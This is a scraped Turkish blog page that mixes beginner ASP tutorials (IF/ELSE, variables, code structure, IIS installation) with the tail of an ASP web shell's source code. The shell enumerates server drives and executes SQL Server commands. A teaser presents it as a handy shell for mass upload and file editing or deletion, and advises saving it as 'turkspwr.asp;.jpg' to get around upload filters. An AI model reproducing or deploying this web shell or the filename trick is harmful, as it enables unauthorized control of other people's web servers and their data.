objRcs.EOF<br /> Response.Write "<tr>"<br /> for i=0 to objRcs.Fields.count-1<br /> Response.Write "<td>"&objRcs.Fields(i).Value&"&nbsp;</td>"<br /> next<br /> Response.Write "</tr>"<br /> objRcs.MoveNext<br /> loop<br /> Response.Write "</table><br>"<br /><br /><br /> END SELECT<br /><br /> Else<br /> showdisks=FALSE<br /> checa = checking(cprthtml,keydec)<br /> Call hdr()<br /><br /> Response.Write "<form method=""post"" target=""_opener"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=sqlserver"">"<br /> Response.Write "<table cellpadding=0 cellspacing=0 align=center><tr><td align=center><font size=2>SQL Server connection string:</td></tr><tr><td align=center>"<br /> Response.Write "<input type=hidden value='7' name=status>"<br /> Response.Write "<input style='width:250; height:21' value='' name=path><br>"<br /> response.Write "<input type=submit value='Execute SQL Server Command' style='height:23;width:220' id=submit1 name=submit1>"<br /> Response.Write "</td></tr></table>"<br /> response.Write "</form>"<br /><br /> End IF<br /><br /><br /><br /> Case "about"<br /> showdisks=FALSE<br /> checa = checking(cprthtml,keydec)<br /> Call hdr()<br /> response.Write "<br><br><br><body topmargin=5 leftmargin=0><center><h4>Coded By DigitALL"<br /> response.Write "<br><br>"<br /> response.Write "<font size=2 color=Red face='courier new'>WebSite: :) www.digitallsecurity.org</font>"<br /> response.Write "<br>"<br /> response.Write "<font size=2 color=Red face='courier new'>E-Mail: digitall@hackermail.com</font>"<br /> response.Write "<br><br>"<br /> response.Write "<font size=2 color=Blue face='courier new'>Hackers, Crackers, Programmers Forever!</font>"<br /><br /><br /> Case Else<br /> checa = checking(cprthtml,keydec)<br /> Call hdr()<br /> Response.Write copyright & onlinehelp<br /> Call showcontent()<br />End Select<br />If Err.Number <> 0 Then<br /> Response.Write "<br><font face='arial' size='2'>ERRO: " & Err.Number & "<br><br><b>" & UCase(Err.Description) & "</b><br>Acesse denied."<br />End If<br />Response.Write endcode<br /><br />if showdisks then<br /><br />%><br /><br /> <script language=javascript><br /> // DRIVE ISLEMLERI<br /> function driveGo(drive_){<br /> location = "?raiz="+drive_+":";<br /> }<br /> </script><br /><br /><br /><%<br /><br /><br /> Set objFSO = Server.CreateObject("Scripting.FileSystemObject")<br /><br /> Response.Write "<br><br><br><table align=center border=1 width=150 cellpadding=0 cellspacing=0><tr bgcolor=gray><td align=center><b><font color=white>Suruculer</td></tr>"<br /> for each drive_ in objFSO.Drives<br /> Response.Write "<tr><td>"<br /> Response.write "<a href='#'onClick=""driveGo('" & drive_.DriveLetter & "');return false;""><font face=wingdings>;</font>"<br /> if drive_.Drivetype=1 then Response.write "Floppy [" & drive_.DriveLetter & ":]"<br /> if drive_.Drivetype=2 then Response.write "HardDisk [" & drive_.DriveLetter & ":]"<br /> if drive_.Drivetype=3 then Response.write "Remote HDD [" & drive_.DriveLetter & ":]"<br /> if drive_.Drivetype=4 then Response.write "CD-Rom [" & drive_.DriveLetter & ":]"<br /> Response.Write "</a></td></tr>"<br /> next<br /> Response.Write "<tr><td>"<br /> Response.write "<a href='"& Request.ServerVariables("SCRIPT_NAME") & "'><font face=webdings>H</font> Local Path"<br /> Response.Write "</a></td></tr>"<br /> Response.Write "</table><br>"<br />end if<br />%><br /><br><Center><Font Face='Wingdings' Size='7' Color = 'FFFFFF'><b> ?</b></Font></Center><br /><br><Center><Font Face='Wingdings' Size='7' Color = 'FFFFFF'><b> ?</b></Font></Center></strong></div> <br />

Asp Shell

Kullanışlı ve güzel bir shelldir .  Özellikleri ; Mass ve Single , Upload Toplu upload  , dosya edit silme vs vs Kodları:   . . . . Kaydederken örn : turkspwr.asp;.jpg olarak kaydedın veya turkspwr.a…

Devamı »

ASP IF ELSE Deyimi

<div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCEBnb12-xIT6ywpZwaWJHz1acC_mVfpEy_ZeXM1e9EC4CkzI-YAdHnmjveb8DMesxqn-jiOO2G2ok9MtHAOieTHeF_buSTgrgb1jpLspW1ili6WC1CZGRMRA0J37NZAq623JaNeBjXyPU/s320/asp.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCEBnb12-xIT6ywpZwaWJHz1acC_mVfpEy_ZeXM1e9EC4CkzI-YAdHnmjveb8DMesxqn-jiOO2G2ok9MtHAOieTHeF_buSTgrgb1jpLspW1ili6WC1CZGRMRA0J37NZAq623JaNeBjXyPU/s320/asp.jpg" /></a></div> <div style="text-align: center;"> <strong>Bazı durumların gerçekleşip gerçekleşmemesine bağlı olarak işlem yapmamızı sağlayan bu komutlarda "Eğer bir koşul sağlanıyorsa" anlamı vardır. Koşul cümlesine göre işlem yapılır.</strong><strong><br /></strong><strong><br /></strong><strong>IF, ELSEIF, ELSE ve END IF</strong><strong><br /></strong><strong> IF ... THEN eğer koşul sağlanmışsa, ELSEIF ... THEN bir önceki koşul sağlanamamışsa farklı bir koşul tanımlamak için, ELSE önceki hiçbir koşullar sağlanamamışsa dikkate alınır ve END IF ile komut bitirilir.</strong><strong><br /></strong><strong><br /></strong><strong> Aşağıdaki örnekte "sayi" değişkeni 4 değeriyle belirtilmiş ve IF ... END IF aralığında sayının 5'ten küçük, 5'ten büyük olup olmadığı denetlenmiş, hiçbiri değilse 5 olduğuna karar verilmiştir. Buna göre de ekrana yazı yazdırılacaktır.</strong><strong><br /></strong><strong><br /></strong><strong><%</strong><strong><br /></strong><strong>sayi = 4</strong><strong><br /></strong><strong><br /></strong><strong>if sayi < 5 then</strong><strong><br /></strong><strong> Response.Write "Sayım 5'den küçüktür."</strong><strong><br /></strong><strong>elseif sayi > 5 then</strong><strong><br /></strong><strong> Response.Write "Sayım 5'den büyüktür."</strong><strong><br /></strong><strong>else</strong><strong><br /></strong><strong> Response.Write "Sayım 5'e eşittir."</strong><strong><br /></strong><strong>end if</strong><strong><br /></strong><strong>%></strong><strong><br /></strong><strong> </strong><strong><br /></strong><strong><br /></strong><strong> Aşağıdaki şekilde sonuç verir:</strong><strong><br /></strong><strong><br /></strong><strong>Sayım 5'den küçüktür.</strong><strong><br /></strong><strong> </strong><strong><br /></strong><strong><br /></strong><strong> Tek bir koşul denetlenecekse THEN'den sonraya yapılacak işlem yazılarak END IF kullanılmadan da komut çalıştırılabilir.</strong><strong><br /></strong><strong><br /></strong><strong><%</strong><strong><br /></strong><strong>sayi = 5</strong><strong><br /></strong><strong><br /></strong><strong>if sayi = 5 then Response.Write "Sayım 5'e eşittir."</strong><strong><br /></strong><strong>%></strong><strong><br /></strong><strong> </strong><strong><br /></strong><strong><br /></strong><strong> Aşağıdaki şekilde sonuç verir:</strong><strong><br /></strong><strong><br /></strong><strong>Sayım 5'den küçüktür.</strong></div>

ASP IF ELSE Deyimi

Bazı durumların gerçekleşip gerçekleşmemesine bağlı olarak işlem yapmamızı sağlayan bu komutlarda "Eğer bir koşul sağlanıyorsa" anlamı vardır. Koşul cümlesine göre işlem yapılır.IF, ELSEIF, ELSE ve E…

Devamı »

ASP Değişkenleri

<div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCEBnb12-xIT6ywpZwaWJHz1acC_mVfpEy_ZeXM1e9EC4CkzI-YAdHnmjveb8DMesxqn-jiOO2G2ok9MtHAOieTHeF_buSTgrgb1jpLspW1ili6WC1CZGRMRA0J37NZAq623JaNeBjXyPU/s320/asp.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCEBnb12-xIT6ywpZwaWJHz1acC_mVfpEy_ZeXM1e9EC4CkzI-YAdHnmjveb8DMesxqn-jiOO2G2ok9MtHAOieTHeF_buSTgrgb1jpLspW1ili6WC1CZGRMRA0J37NZAq623JaNeBjXyPU/s320/asp.jpg" /></a></div> <strong><span style="color: #e06666;">Her programlama dilinde olduğu gibi ASP'de de değişkenlerle çalışmaktayız. Bu değişkenler alfasayısal (cümle, kelime, harf ve sayılar) ya da sayısal olabilir. Şimdi bunları birer örnekle görelim:</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;">Alfasayısal (String) Değişkenler</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> Bu değişkenler harf ve rakamlar içeren değişkenlerdir.</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> Alfasayısal değişkenler ve (&) ya da artı (+) işareti ile birbirine bağlanırlar.</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"><%</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> kelime = "Murat!"</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> Response.Write "Benim adım " & kelime</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;">%></span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> </span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> Kod çalıştırılırsa aşağıdaki bilgi ekrana yansır:</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;">Benim adım Murat!</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> </span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;">Sayısal (Integer) Değişkenler</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> Bu değişkenler sayı içeriren değişkenlerdir.</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> Sayı içeren değişkenler üzerinde matematiksel işlemler yapılabilir. Bunlar: Toplama (+), çıkarma (-), çarpma (*), bölme (/) ve bölümünden kalanı bulma (mod).</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"><%</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> sayi = 2</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> Response.Write sayi + 3</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;">%></span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> </span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> Kod çalıştırılırsa aşağıdaki bilgi ekrana yansır:</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;">5</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> </span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> Ondalıklı sayıları kullanırken nokta (.) ile ayırıyoruz.</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"><%</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> sayi1 = 1.4</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> sayi2 = 3.2</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> Response.Write sayi2 - sayi1</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;">%></span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> </span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> Kod çalıştırılırsa aşağıdaki bilgi ekrana yansır:</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;">1,8</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> </span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;">Dize (Array) Değişkenler</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> Bu değişkenler Dim kullanılarak önceden tanımlanırlar ve birden fazla aynı türden değişken barındırabilirler.</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> Aşağıdaki örnekte 4 üyesi olan bir dize "Dim Dize(4)" yazılarak oluşturulup bunlara ayrı ayrı değerler verilip ekrana FOR EACH kodu ile yazdırılmıştır:</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"><%</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> Dim Dize(4)</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> Dize(0) = "Ali"</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> Dize(1) = "Hasan"</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> Dize(2) = "Mehmet"</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> Dize(3) = "Osman"</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> For Each nesne in Dize</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> Response.Write nesne & "<br>"</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> Next</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;">%></span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> </span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"> Kod çalıştırılırsa aşağıdaki bilgi ekrana yansır:</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;">Ali</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;">Hasan</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;">Mehmet</span></strong><strong><span style="color: #e06666;"><br /></span></strong><strong><span style="color: #e06666;">Osman</span></strong>

ASP Değişkenleri

Her programlama dilinde olduğu gibi ASP'de de değişkenlerle çalışmaktayız. Bu değişkenler alfasayısal (cümle, kelime, harf ve sayılar) ya da sayısal olabilir. Şimdi bunları birer örnekle görelim:Alfa…

Devamı »

ASP Kod Yapısı

<div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCEBnb12-xIT6ywpZwaWJHz1acC_mVfpEy_ZeXM1e9EC4CkzI-YAdHnmjveb8DMesxqn-jiOO2G2ok9MtHAOieTHeF_buSTgrgb1jpLspW1ili6WC1CZGRMRA0J37NZAq623JaNeBjXyPU/s320/asp.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCEBnb12-xIT6ywpZwaWJHz1acC_mVfpEy_ZeXM1e9EC4CkzI-YAdHnmjveb8DMesxqn-jiOO2G2ok9MtHAOieTHeF_buSTgrgb1jpLspW1ili6WC1CZGRMRA0J37NZAq623JaNeBjXyPU/s320/asp.jpg" /></a></div> <div style="text-align: center;"> <strong><br /></strong></div> <div style="text-align: center;"> <strong>ASP Kodları Kullanabilmek İçin</strong><strong><br /> Kaynak kodumuza <% yazıp ASP kodlarını yerleştiriyoruz, ASP derleyicisinden çıkmak içinse %> kullanıyoruz. Böylelikle ASP kodlarımız derleyici tarafından okunabiliyor.<br /><br /> Şimdi ASP kullanarak sayfaya Merhaba Dünya! yazdıralım: <br /><%<br /> Response.Write " Merhaba Dünya! "<br /><br /> Response.Write " Ben ASP Öğreniyorum "<br />%><br /> <br /><br /> Bu kodu sonu .asp ile biten bir dosyaya kaydedip web dizinimize atalım ve çalıştıralım. Aşağıdakinin yazıldığını göreceğiz:<br /><br />Merhaba Dünya! Ben ASP Öğreniyorum<br /> <br /><br /> Yukarıda Response.Write ekrana yazı yazdırmamız için gerekli koddur. Response.Write'dan sonra ekrana yazdırılacak yazı yazılır. Bu yazıyı ister direkt (") işareti ile başlayıp yazarız, ister parantez içine alarak. İkisi de aynı işi görüyor.<br /><br />HTML Kodları Arasında Kullanmak<br /> Tüm belgede ASP kodu yazabileceğimiz gibi sadece belli bir yerde de kullanabiliriz. Böyle durumda HTML kodlarının arasına ASP kodlarını yazıyoruz.<br /><br /><html><br /><head><title>Sayfam</title></head><br /><body><br /><font size="4"><br /><%<br /> Response.Write " Merhaba Dünya! "<br />%><br /></font></body></html><br /> <br /><br />Response.Write'ın Kolay Kullanımı<br /> Sadece yazı yazdırma amaçlı bir kod açtığımızda yüzde (%) işaretinden hemen sonra eşittir (=) koyarak ekrana yazdırma işlemini kolaylıkla yapabiliriz.<br /><br /><%= "Merhaba Dünya!" %><br /> <br /><br /> Şu şekilde görünecektir: <br />Merhaba Dünya!<br /> <br /><br />Tırnak İşareti Kullanımı<br /> Alfasayısal (string) değerleri yazarken tırnak (") işareti kullanmamız gerekebilir. Bu durumda kaçış işareti olarak yine tırnak işaretini kullanabiliriz.<br /><br /><%<br /> Response.Write "Sonra ""İstanbul Sokakları"" şarkısı çaldı."<br />%><br /> <br /><br /> Aşağıdaki şekilde görünecektir:<br /><br />Sonra "İstanbul Sokakları" şarkısı çaldı<br /> <br /><br />Kodlar Arasına Açıklama Yazmak<br /> Bazen, kodlar ile ilgili bir bilgi ya da hatırlatma eklememiz gerekebilir. Bu durumda üst ayraç (') kullanarak açıklama yazabiliriz. Bu yazdıklarımız derleyici tarafından görülmez.<br /><br /><%<br /> ' Burada açıklama gelecek.<br />%><br /> <br /><br /> Aşağıdaki şekilde görünecektir:</strong><br /><br /><br /> </div>

ASP Kod Yapısı

ASP Kodları Kullanabilmek İçin Kaynak kodumuza kullanıyoruz. Böylelikle ASP kodlarımız derleyici tarafından okunabiliyor. Şimdi ASP kullanarak sayfaya Merhaba Dünya! yazdıralım: Response.Write " …

Devamı »

ASP Kurulumu

<div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCEBnb12-xIT6ywpZwaWJHz1acC_mVfpEy_ZeXM1e9EC4CkzI-YAdHnmjveb8DMesxqn-jiOO2G2ok9MtHAOieTHeF_buSTgrgb1jpLspW1ili6WC1CZGRMRA0J37NZAq623JaNeBjXyPU/s320/asp.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCEBnb12-xIT6ywpZwaWJHz1acC_mVfpEy_ZeXM1e9EC4CkzI-YAdHnmjveb8DMesxqn-jiOO2G2ok9MtHAOieTHeF_buSTgrgb1jpLspW1ili6WC1CZGRMRA0J37NZAq623JaNeBjXyPU/s320/asp.jpg" /></a></div> <div style="text-align: center;"> <strong><br /></strong><strong><br /></strong></div> <div style="text-align: center;"> <strong>Windows Bilgisayarınızı Web Sunucusu Yapın</strong><strong><br /></strong><strong> Bilgisayarınıza IIS or PWS kurarak bilgisayarınızın bir web sunucusu olarak çalışmasını sağlayabilirsiniz. Microsoft IIS ve PWS ücretsiz bir web sunucusu bileşenidir.</strong><strong><br /></strong><strong><br /></strong><strong>IIS - Internet Information Server</strong><strong><br /></strong><strong><br /></strong><strong> IIS, Microsoft Windows'un web sunucular için internet tabanlı hizmetlerini içerir. Windows 2000, XP, Vista ve Windows 7 ile birlikte gelir. Ayrıca Windows NT için de kullanılabilir. Kolaylıkla kurulur ve web uygulamaları geliştirmek ve test etmek için idealdir.</strong><strong><br /></strong><strong><br /></strong><strong>PWS - Personal Web Server</strong><strong><br /></strong><strong><br /></strong><strong> PWS, Microsoft Windows'un 95/98 ve NT gibi eski sürümlerinde bulunur. Kolaylıkla kurulur ve ASP kullanarak web uygulamaları geliştirmekte ve test etmekte kullanılır. PWS'yi kullanmanızı tavsiye etmiyoruz. Bunun nedeni PWS'nin çok eski olması, bazı kodların çalışmayacak olması ve güvenlik açıklarının olmasıdır.</strong><strong><br /></strong><strong><br /></strong><strong>Windows Web Sunucusu Sürümleri</strong><strong><br /></strong><strong> • Windows 7 tüm sürümleri - IIS 7.5'yi destekler</strong><strong><br /></strong><strong> • Windows Vista Business, Enterprise ve Ultimate - IIS 7'yi destekler</strong><strong><br /></strong><strong> • Windows Vista Home Premium - IIS 7</strong><strong><br /></strong><strong> • Windows Vista Home Edition - IIS ya da PWS'yi desteklemez</strong><strong><br /></strong><strong> • Windows XP Professional - IIS 5.1</strong><strong><br /></strong><strong> • Windows XP Home Edition - IIS ya da PWS'yi desteklemez</strong><strong><br /></strong><strong> • Windows 2000 Professional - IIS 5.0</strong><strong><br /></strong><strong> • Windows NT Professional - IIS 3 ve 4'e destek verir</strong><strong><br /></strong><strong> • Windows NT Workstation - PWS ve IIS 3'e destek verir</strong><strong><br /></strong><strong> • Windows ME - PWS veya IIS'yi desteklemez</strong><strong><br /></strong><strong> • Windows 98 - PWS</strong><strong><br /></strong><strong> • Windows 95 - PWS'ye destek verir</strong><strong><br /></strong><strong><br /></strong><strong>IIS'yi Windows 7 ve Windows Vista'ya</strong><strong><br /></strong><strong> Nasıl Kurarsınız?</strong><strong><br /></strong><strong> Aşağıdaki adımları takip edin:</strong><strong><br /></strong><strong><br /></strong><strong> 1. Başlat menüsünden Denetim Masası'nı açın.</strong><strong><br /></strong><strong> 2. Programlar ve Özellikler'e iki defa tıklayın.</strong><strong><br /></strong><strong> 3. Windows Özelliklerini Aç veya Kapat linkine tıklayın (solda).</strong><strong><br /></strong><strong> 4. Internet Information Services (IIS) seçeneğini seçili hale getirin ve TAMAM diyin.</strong><strong><br /></strong><strong><br /></strong><strong> Windows güncelleştirmeleri ile IIS'nizin güncellenmesini sağlayarak güvenliğinizi arttırabilirsiniz.</strong><strong><br /></strong><strong><br /></strong><strong>IIS'yi Windows XP ve Windows 2000'e</strong><strong><br /></strong><strong> Nasıl Kurarsınız?</strong><strong><br /></strong><strong> Aşağıdaki adımları takip edin:</strong><strong><br /></strong><strong><br /></strong><strong> 1. Başlat menüsünden Denetim Masası'nı açın.</strong><strong><br /></strong><strong> 2. Program Ekle/Kaldır'a iki defa tıklayın.</strong><strong><br /></strong><strong> 3. Windows Bileşenlerini Ekle/Kaldır'a tıklayın.</strong><strong><br /></strong><strong> 4. Internet Information Services (IIS)'a tıklayın.</strong><strong><br /></strong><strong> 5. Detayları tıklayın.</strong><strong><br /></strong><strong> 6. World Wide Web Service'nin solundaki kutuyu işaretleyin ve TAMAM diyin.</strong><strong><br /></strong><strong> 7. İleri'ye tıklayıp IIS'nin kurulmasını başlatın.</strong><strong><br /></strong><strong><br /></strong><strong> Windows güncelleştirmeleri ile IIS'nizin güncellenmesini sağlayarak güvenliğinizi arttırabilirsiniz.</strong><strong><br /></strong><strong><br /></strong><strong>Web Sunucunuzu Test Edin</strong><strong><br /></strong><strong> Kurulum tamamlandıktan sonra ASP çalıştırmayı deneyelim. Bunun için;</strong><strong><br /></strong><strong><br /></strong><strong> 1. Hard diskinizde "Inetpub" adında bir klasör göreceksiniz, onu açın.</strong><strong><br /></strong><strong> 2. O klasörün içinde "wwwroot" adında bir klasör daha var, onu açın.</strong><strong><br /></strong><strong> 3. Adı "benimsitem" olan bir klasör oluşturun ve bu klasörü açın.</strong><strong><br /></strong><strong> 4. Bir ASP kodu yazıp dosyayı test.asp adıyla bu klasöre kaydedin.</strong><strong><br /></strong><strong> 5. Tarayıcınızda adres kısmına "http://localhost/benimsitem/test.asp" yazıp sayfayı görüntüleyin.</strong></div>

ASP Kurulumu

Windows Bilgisayarınızı Web Sunucusu Yapın Bilgisayarınıza IIS or PWS kurarak bilgisayarınızın bir web sunucusu olarak çalışmasını sağlayabilirsiniz. Microsoft IIS ve PWS ücretsiz bir web sunucusu bi…

Devamı »